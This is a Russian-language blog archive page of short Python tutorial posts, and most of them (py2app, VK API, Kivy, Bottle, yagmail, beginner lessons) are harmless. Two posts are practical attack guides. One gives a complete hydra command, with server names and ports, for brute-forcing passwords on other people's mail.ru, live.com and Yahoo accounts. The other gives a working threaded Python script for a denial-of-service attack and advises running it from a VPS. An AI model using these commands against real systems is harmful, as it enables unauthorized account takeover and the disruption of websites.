Сообщения

Сообщения за 2016

Взлом почты mail.ru live.com и yahoo.com

Наш способ взлома будет брутафорс, для этого мы будем использовать хакерскую программу hydra, для взлома нам потребуется: мощный интернет (хотябы 70 мега бит в секунду) список паролей Этот метод взлома работает только в случае если пароль простой. Лист паролей можно выбрать, либо 500 паролей либо 10 000 , либо 10 миллионов . Я рекомендую 10 000, после скачивания и установки hydra в консоле нужно написать: hydra - l ящик _ который _ мы _ будем _ ломать @mail.ru - P passwordlist . txt - t 20 - s порт _ сервера - S - v - V smtp: // сервер для взлома Для взлома live.com либо yahoo.com: порт:  587 сервер для взлома:  smtp.live.com Для взлома mail.ru: сервер: smtp.mail.ru порт: 465 Для взлома yahoo: сервер: smtp.mail.yahoo.com порт:  587

DOS атака при помощи Python

Изображение
Для атак вида "DOS" используют один мощный сервер который посылает жертве столько запросов, что жертва не успевает обработать их и выдаёт ошибку 503 либо 504. Для атаки нужна многопоточность, то есть нужно чтобы скрипт отправлял запрос не ожидая завершения предыдущего. В Python для этого есть библиотека "therading". Пример простейшего скрипта для доса: # coding: utf8 import threading import requests def dos (): while True : requests . get( "http://example.com" ) while True : threading . Thread(target = dos) . start() Скрипт рекомендую запускать только на мощных компьютерах а ещё лучше на VPS сервере. Вот наш скрипт в действии: Так же советую попробовать новый ддос скрипт который использует вместо потоков асинхронный код

Создание автономных OS X приложений Mac OS с Python и py2app

Изображение
В этом уроке мы будем использовать py2app для создания отдельного приложения OSX из Python 2 или 3 исходного кода с помощью простого пользовательского интерфейса Tkinter. Официальные документации: Документация Bitbucket Создание приложения Мы будем создавать не большой sanwitch app в котором у нас будет 1 кнопка (sandwitch.py): import sys if sys . version_info < ( 3 , 0 ): # Python 2 import Tkinter as tk else : # Python 3 import tkinter as tk root = tk . Tk() root . title( "Sandwich" ) tk . Button(root, text = "Make me a Sandwich" ) . pack() tk . mainloop() Во время запуск мы будем видеть следующее: Установка py2app: pip install - U git + https: // github . com / metachris / py2app . git @master Это setup.py является базовое определение приложения: from setuptools import setup APP = [ 'Sandwich.py' ] DATA_FILES = [] OPTIONS = { 'argv_emulation' : True } setup( app = APP, data

Vk API и небольшой пример приложения

У социальной сети Вконтакте есть API. Благодаря ему можно менять статусы пользователей, создавать посты и огромную кучу другого. Для Python программистов существует специальная библиотека, для её установки в консоли нужно набрать pip install vk_api  Теперь попробуем получить последний пост от вашего имени при помощи API: # -*- coding: utf-8 -*- import vk_api def main (): """ Пример получения последнего сообщения со стены """ login, password = 'python@vk.com' , 'mypassword' vk_session = vk_api . VkApi(login, password) try : vk_session . authorization() except vk_api . AuthorizationError as error_msg: print (error_msg) return vk = vk_session . get_api() """ VkApi.method позволяет выполнять запросы к API. В этом примере используется метод wall.get (https://vk.com/dev/wall.get) с параметром count = 1, т.е. мы получаем один послед

Создание приложений для Android при помощи Python

Для людей привычно когда Android приложения пишутся на java а IOS на SWIFT. Но все изменилось теперь писать приложения для Android можно и на Python. Библиотека котороя создает APK файл называется  bulldozer . Рассмотрим пример приложения которое будет писать ON когда переключатель (switch) будет включен. Для этого просто пишем: from kivy.app import App from kivy.uix.switch import Switch class TestApp (App): def build ( self ): switch = Switch() switch . bind(active = callback) return switch def callback ( self , value): if value == True : print 'ON' TestApp() . run() Для написания кода под Android нужно использовать библиотеку kivy . Как мы видим тут все просто как в Tkiner. Для создания самого APK нужно будет провести некоторые процедуры которые можно нагуглить . 

Python первый урок (print, input)

В этом уроке мы будем создавать первую программу которая будет выводить текст и уметь считать. Чтобы начать программировать нужно скачать Python интерпретатор. Как это сделать рассказано в этой статье . Для того чтобы писать код нужно скачать текстовый редактор (IDE), выбрать можно любой, но я советую sublimetext . После скачивания и установки открываем IDE и попробуем написать первую программу. Для примера напишем программу которая будет выводить надпись Hello world в терминале. Для этого просто пишем этот код: print 'hello world!' В нашем примере наша программа не думает, но как я обещал она будет уметь считать. Для этого нужно вводить значения делается это так: pervayaperemennaya = input ( 'Input firs value: ' ) vtorayaperemennya = input ( 'Input 2 value: ' ) Теперь будем выполнять прибавление чисел: pervayaperemennaya = input ( 'Input firs value: ' ) vtorayaperemennya = input ( 'Input 2 value: ' ) print pervayaperemennay

Bottle микро веб фреймворк база данных. Приложения для просмотра таблицы sqlite3.

Изображение
SQLITE3 база данных Чтобы создать базу данных sqlite3 со значения нужно создать скрипт sv.py со следующим содержимым: import sqlite3 con = sqlite3 . connect( 'bucket.db' ) con . execute( "CREATE TABLE bucket (id INTEGER PRIMARY KEY, wish char(100) NOT NULL, status bool NOT NULL)" ) con . execute( "INSERT INTO bucket (wish,status) VALUES ('Flying over Golden Gate Bridge',0)" ) con . execute( "INSERT INTO bucket (wish,status) VALUES ('Wind surfing under Golden Gate Bridge',0)" ) con . execute( "INSERT INTO bucket (wish,status) VALUES ('Bungee jumping from Golden Gate Bridge',0)" ) con . execute( "INSERT INTO bucket (wish,status) VALUES ('Walking across Golden Gate Bridge',1)" ) con . commit() Bottle bucket.py Теперь пишем скрипт для вывода значений из базы данных bucket.py : import sqlite3 from bottle import route, run @route ( '/bucket' ) def bucket_list ():

Отправка EMAIL при при помощи Gmail и Python

Для отправки EMAIL используют SMTP сервер + клиент. В нашем случае мы будем использовать библиотеку  yagmail . При помощи её можно отправлять EMAIL через свою почту Gmail. Про ограничения можно прочитать тут . Теперь попробуем что нибудь сделать при помощи библиотеки: import yagmail yag = yagmail . SMTP( 'mygmailusername' , 'mygmailpassword' ) yagmail . SMTP . send( 'to@someone.com' , 'subject' , 'This is the body' ) Я считаю что официальную документацию переводить не надо, поэтому на этом все.

Какой язык программирования выбрать новичку

Python - один из самых популярных и развивающихся языков программирования. При этом он простой! Поэтому он рекомендуется новичкам, для того чтобы доказать что он простой и понятный я продемонстрирую код для вывода на экран "Hello world" при помощи языка программирования java: class HelloWorld { public static void main ( String [] args ) { System . out . println ( "Hello World!" ); } } А теперь вывод надписи "Hello world" в Python: print 'hello world!' Как видите разница очень большая! У Python есть и плохая сторона. Его скорость мала, но для новичка это не имеет значение! Скачать этот язык программирования можно с официального сайта python.org .